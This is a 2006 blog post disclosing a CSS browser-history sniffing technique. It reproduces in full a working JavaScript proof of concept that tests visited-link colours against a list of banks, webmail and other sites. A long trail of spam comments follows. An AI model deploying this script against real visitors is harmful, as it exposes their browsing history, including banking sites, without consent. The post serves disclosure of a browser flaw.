Stealing History

Update: Cody Swan has a version that works in IE and supports AJAX to log the urls somewhere. Info here. 

 Jeremiah Grossman has demonstrated an interesting way to sniff out browser history via CSS hacks. IE7 RC1 is smart enough to block the site, but FireFox lists my history without any complaints. Spooky. The script it embedded on the page, and it appears that basic technique involves setting the visited link color via CSS on a group of links to common sites, and then getting the computed values of the links and seeing which ones have the visited color. Very clever way to hijack someone's history:

<script>
var agent = navigator.userAgent.toLowerCase();
var is_mozilla = (agent.indexOf("mozilla") != -1);

// popular websites. Lookup if user has visited any.
var websites = [
"http://login.yahoo.com/",
"http://www.jailbabes.com",
"http://ha.ckers.org",
"http://seoblackhat.com",
"http://www.cgisecurity.com",
"http://www.spidynamics.com",
"http://www.cenzic.com",
"http://www.watchfire.com",
"http://www.ntobjectives.com",
"http://www.webappsec.org",
"http://www.whitehatsec.com",
"http://english.aljazeera.net/HomePage",
"http://mail.google.com/",
"http://mail.yahoo.com/",
"http://my.yahoo.com/",
"http://slashdot.org/",
"http://www.myspace.com/",
"http://www.amazon.com/",
"http://www.aol.com/",
"http://www.bankofamerica.com/",
"http://www.bankone.com/",
"http://www.blackhat.com/",
"http://www.blogger.com/",
"http://www.bofa.com/",
"http://www.capitalone.com/",
"http://www.chase.com/",
"http://www.citibank.com/",
"http://www.cnn.com/",
"http://www.comerica.com/",
"http://www.e-gold.com/",
"http://www.ebay.com/",
"http://www.etrade.com/",
"http://www.google.com/",
"http://www.hsbc.com/",
"http://www.icq.com/",
"http://www.microsoft.com/",
"http://www.msn.com/",
"http://www.myspace.com/",
"http://www.passport.net/",
"http://www.paypal.com/",
"http://www.sourceforge.net/",
"http://www.statefarm.com/",
"http://www.usbank.com/",
"http://www.wachovia.com/",
"http://www.wamu.com/",
"http://www.wellsfargo.com/",
"http://www.xanga.com/",
"http://www.yahoo.com/",
"https://commerce.blackhat.com/",
"https:/banking.wellsfargo.com/",
];

/* prevent multiple XSS loads */
if (! document.getElementById('xss_flag')) {

var d = document.createElement('div');
d.id = 'xss_flag';
document.body.appendChild(d);

var d = document.createElement('table');
d.border = 0;
d.cellpadding = 5;
d.cellspacing = 10;
d.width = '90%';
d.align = 'center';
d.id = 'data';
document.body.appendChild(d);

document.write('<style>');
for (var i = 0; i < websites.length; i++) {
document.write('#id' + i + ":visited {color: #0000FF;}");
}
document.write('</style>');

/* launch steal history */

if (is_mozilla) {
stealHistory();
}

}


/*--- [method: stealHistory] -------------------------------------------#
# Description: Send a browsers history to an off-domain URL. #
-----------------------------------------------------------------------*/
function stealHistory() {

// loop through websites and check which ones have been visited
for (var i = 0; i < websites.length; i++) {

var link = document.createElement("a");
link.id = "id" + i;
link.href = websites[i];
link.innerHTML = websites[i];

document.body.appendChild(link);
var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
document.body.removeChild(link);

// check for visited
if (color == "rgb(0, 0, 255)") {
document.write('<li><a href="' + websites[i] + '">' + websites[i] + '</a></li>');
} // end visited check

} // end visited website loop

} // end stealHistory method

</script>

[1] http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html

Published Friday, August 25, 2006 12:15 AM by Jesse Ezell

Comments

# Interesting Finds: August 24, 2006

Thursday, August 24, 2006 10:35 PM by Jason Haley

# http://digg.com/security/a_css_hack_to_steal_your_browser_history_in_firefox

Friday, August 25, 2006 5:34 PM by TrackBack

# Stealing History (Part 2)

Saturday, August 26, 2006 3:36 PM by Jesse Ezell Blog

Cody Swann has a modified version of the exploit using prototype that works in IE and has support for

# re: Stealing History

Tuesday, October 03, 2006 8:22 PM by WebMaster ToolBox

Cool, but totally useless no?

Unless you want to check if a certain person visited your website or not...

# re: Stealing History

Wednesday, May 16, 2007 4:35 AM by i.write.code

Not really, Its good for Blackhat SEO folks. Besides , think of what benefits Google gets out of monitoring your search preferences through their Toolbar and in gmail.

ADs pay and relevant ADs pay even more ...

# Ledokin &raquo; A CSS Hack to steal your browser history in Firefox

Saturday, November 10, 2007 11:50 AM by Ledokin » A CSS Hack to steal your browser history in Firefox

Pingback from  Ledokin    &raquo; A CSS Hack to steal your browser history in Firefox

# jeremiah s complaints

Thursday, June 12, 2008 1:31 PM by jeremiah s complaints

Pingback from  jeremiah s complaints

# Ab workout machine

Wednesday, July 09, 2008 9:23 AM by Ab workout machine

Thanks for the post. I couldnt agree with you more.

# hacking &raquo; Blog Archive &raquo; A CSS Hack to steal your browser history in Firefox

Pingback from  hacking  &raquo; Blog Archive   &raquo; A CSS Hack to steal your browser history in Firefox

# re: Stealing History

Tuesday, December 02, 2008 3:58 PM by Asina

<a href= bestpre.com ></a>

# re: Stealing History

Wednesday, December 03, 2008 5:03 AM by Asina

<a href= bestpre.com ></a>

# re: Stealing History

Friday, December 05, 2008 11:15 PM by Semil

<a href= spiritez.com ></a>

# re: Stealing History

Tuesday, January 06, 2009 2:56 AM by Tummy Tuck

 I gotta say that is a good post

# re: Stealing History

Tuesday, January 06, 2009 11:02 AM by Liposuction

What is that guy talking about?

# Tips for programmer

Thursday, March 08, 2012 2:09 PM by Tips for programmer

Pingback from  Tips for programmer

# re: Stealing History

Thursday, March 21, 2013 2:41 PM by Samson

I'm gone to say to my little brother, that he should also pay a visit this webpage on regular basis to obtain updated from hottest gossip.

# re: Stealing History

Monday, March 25, 2013 5:33 PM by Loftus

Your mode of telling all in this piece of writing is in fact good, all be able to effortlessly know it, Thanks a lot.

# re: Stealing History

Tuesday, March 26, 2013 10:54 PM by Coates

When I initially commented I clicked the "Notify me when new comments are added" checkbox and now each time a comment is added I get several e-mails with the same

comment. Is there any way you can remove people from that service?

Thanks!

# re: Stealing History

Wednesday, March 27, 2013 11:25 PM by Carrier

Please let me know if you're looking for a author for your blog. You have some really great articles and I believe I would be a good asset. If you ever want to take some of the load off, I'd

really like to write some articles for your blog in

exchange for a link back to mine. Please shoot me an e-mail if interested.

Regards!

# re: Stealing History

Thursday, March 28, 2013 4:51 PM by Burleson

Hey I know this is off topic but I was wondering if

you knew of any widgets I could add to my blog that automatically

tweet my newest twitter updates. I've been looking for a plug-in like this for quite some time and was hoping maybe you would have some experience with something like this. Please let me know if you run into anything. I truly enjoy reading your blog and I look forward to your new updates.

# re: Stealing History

Friday, March 29, 2013 9:36 PM by Yarbrough

Hey! Would you mind if I share your blog with my facebook group?

There's a lot of people that I think would really enjoy your content. Please let me know. Thanks

# re: Stealing History

Sunday, March 31, 2013 9:46 AM by Easter

Very shortly this website will be famous amid all blogging people,

due to it's fastidious articles or reviews

# re: Stealing History

Sunday, March 31, 2013 9:27 PM by Stricklin

This is very fascinating, You are an overly skilled blogger.

I have joined your feed and sit up for in search of extra of your magnificent post.

Also, I have shared your website in my social networks

# re: Stealing History

Thursday, April 04, 2013 10:04 PM by Mendoza

It's going to be ending of mine day, except before ending I am reading this impressive post to increase my know-how.

# re: Stealing History

Friday, April 05, 2013 1:09 PM by Mckinnon

Having read this I believed it was extremely informative.

I appreciate you finding the time and effort to put this information

together. I once again find myself personally spending way too much time both reading and leaving comments.

But so what, it was still worthwhile!

# re: Stealing History

Friday, April 05, 2013 5:14 PM by Rash

Wow that was unusual. I just wrote an really long comment but after I clicked submit my comment didn't appear. Grrrr... well I'm

not writing all that over again. Anyways, just wanted

to say great blog!

# re: Stealing History

Friday, April 05, 2013 5:24 PM by Hayes

Thankfulness to my father who shared with me on the

topic of this webpage, this web site is actually awesome.

# re: Stealing History

Saturday, April 06, 2013 8:58 AM by Stark

I like what you guys are usually up too. Such clever work and coverage!

Keep up the wonderful works guys I've added you guys to my own blogroll.

# re: Stealing History

Sunday, April 07, 2013 2:40 AM by North

Thanks , I have just been looking for info approximately this topic

for ages and yours is the best I have found out so far.

However, what concerning the conclusion? Are you certain in

regards to the supply?

# re: Stealing History

Sunday, April 07, 2013 8:49 PM by Wilkerson

This excellent website really has all of the information I wanted concerning this subject

and didn't know who to ask.

# re: Stealing History

Sunday, April 07, 2013 10:22 PM by Stroud

I don't drop a leave a response, but I browsed a bunch of remarks here Stealing History - Jesse Ezell Blog. I do have a few questions for you if you do not mind. Is it simply me or does it give the impression like some of these responses look as if they are coming from brain dead people? :-P And, if you are writing on additional places, I'd like to follow anything fresh you

have to post. Would you make a list of every one of your shared sites like your twitter feed, Facebook page or linkedin profile?

# re: Stealing History

Friday, April 19, 2013 12:38 AM by Rash

Hello, I enjoy reading through your article post. I wanted to

write a little comment to support you.

# re: Stealing History

Friday, April 19, 2013 3:58 AM by Crenshaw

I always used to read post in news papers but now as I am a user of web so from now I am using net for articles, thanks to web.

# re: Stealing History

Friday, April 19, 2013 6:34 AM by Pfeiffer

I've been surfing online more than 3 hours today, yet I never found any interesting article like yours. It's pretty worth enough for me.

In my opinion, if all web owners and bloggers made good content as

you did, the web will be a lot more useful than ever before.

# re: Stealing History

Saturday, April 20, 2013 4:07 PM by Worthington

Hello mates, fastidious article and nice arguments commented

here, I am truly enjoying by these.

# re: Stealing History

Saturday, April 20, 2013 5:45 PM by Catalano

If you wish for to get a great deal from this piece of writing then

you have to apply these strategies to your won website.

# re: Stealing History

Sunday, April 21, 2013 5:06 AM by Dobson

Hi there, I read your new stuff like every week. Your humoristic style is witty, keep

it up!

# re: Stealing History

Sunday, April 21, 2013 12:06 PM by Hatch

Do you mind if I quote a couple of your posts

as long as I provide credit and sources back to your weblog?

My website is in the exact same area of interest as yours and my visitors would certainly benefit from a lot of the information you present

here. Please let me know if this alright with you. Appreciate

it!

# re: Stealing History

Monday, April 22, 2013 12:52 AM by Shepherd

Touche. Great arguments. Keep up the amazing effort.

# re: Stealing History

Monday, April 22, 2013 8:07 AM by Christianson

Wow, amazing blog layout! How long have you been blogging for?

you make blogging look easy. The overall look of your web site is

great, as well as the content!

# re: Stealing History

Monday, April 22, 2013 4:31 PM by Whittaker

Very great post. I simply stumbled upon your blog and wanted to

say that I've truly loved browsing your blog posts. After all I'll be subscribing in your feed and I'm hoping you write again very soon!

# re: Stealing History

Monday, April 22, 2013 4:56 PM by Whittaker

Very great post. I simply stumbled upon your blog and wanted to

say that I've truly loved browsing your blog posts. After all I'll be subscribing in your feed and I'm hoping you write again very soon!

# re: Stealing History

Monday, April 22, 2013 9:59 PM by Whittaker

Very great post. I simply stumbled upon your blog and wanted to

say that I've truly loved browsing your blog posts. After all I'll be subscribing in your feed and I'm hoping you write again very soon!

# re: Stealing History

Tuesday, April 23, 2013 9:28 AM by Gillum

However, this only removes the microbial acid guard from the

sebum and makes the skin more likely to get infected, causing the situation to worsen.

It contains short and medium-chain fatty acids

that support the loss of extra weight. When they are fed coconut

oil, they become very lean.

# re: Stealing History

Wednesday, April 24, 2013 2:16 AM by Whittaker

Very great post. I simply stumbled upon your blog and wanted to

say that I've truly loved browsing your blog posts. After all I'll be subscribing in your feed and I'm hoping you write again very soon!

# re: Stealing History

Wednesday, April 24, 2013 7:40 AM by Whittaker

Very great post. I simply stumbled upon your blog and wanted to

say that I've truly loved browsing your blog posts. After all I'll be subscribing in your feed and I'm hoping you write again very soon!

# re: Stealing History

Wednesday, April 24, 2013 12:56 PM by Whittaker

Very great post. I simply stumbled upon your blog and wanted to

say that I've truly loved browsing your blog posts. After all I'll be subscribing in your feed and I'm hoping you write again very soon!